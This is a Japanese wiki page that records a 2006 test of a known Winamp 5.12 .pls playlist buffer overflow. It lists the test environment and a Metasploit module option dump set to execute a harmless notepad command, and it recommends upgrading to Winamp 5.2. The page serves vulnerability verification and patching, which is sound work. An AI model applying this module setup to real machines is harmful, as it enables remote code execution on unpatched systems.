Nullsoft Winamp Player <= 5.12 PLS File Handling Remote Buffer Overflow Exploit

更新履歴

  • 2006/03/08 初版

概要

  • Winampのプレイリスト(.pls)に buffer overflow の問題があり、任意のコマンドが実行可能
  • 2006/01/30 公開

影響を受けるシステム

参考URL

Exploitの検証

検証環境

  • Windows XP SP2 日本語版
  • Winamp 5.12 (日本語化パッチ適用済み)

検証結果

  • 任意のコマンドが実行可能
  • 検証の様子については、「デモンストレーション」参照
  • Metasploit を使用して、検証用plsファイルを作成
  • オプションは以下のとおり
msf winamp_playlist_unc(win32_exec) > show options

Exploit and Payload Options
===========================

  Exploit:    Name        Default    Description
  --------    --------    -------    -------------------------------------------    
  optional    REALHOST               External address to use for redirects (NAT)
  optional    HTTPHOST    0.0.0.0    The local HTTP listener host
  required    HTTPPORT    8080       The local HTTP listener port
  
  Payload:    Name        Default                         Description
  --------    --------    ----------------------------    ------------------------------------------    
  required    EXITFUNC    process                         Exit technique: "process", "thread", "seh"
  required    CMD         cmd.exe /c start notepad.exe    The command string to execute
  
  Target: Winamp 5.12 Universal

msf winamp_playlist_unc(win32_exec) > 

対処方法

  1. Winamp 5.2 へのバージョンアップ

デモンストレーション

 
exploit/remote/misc/winamp512-pls.txt · 最終更新: 2007/10/16 12:02
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki NINJA TOOLS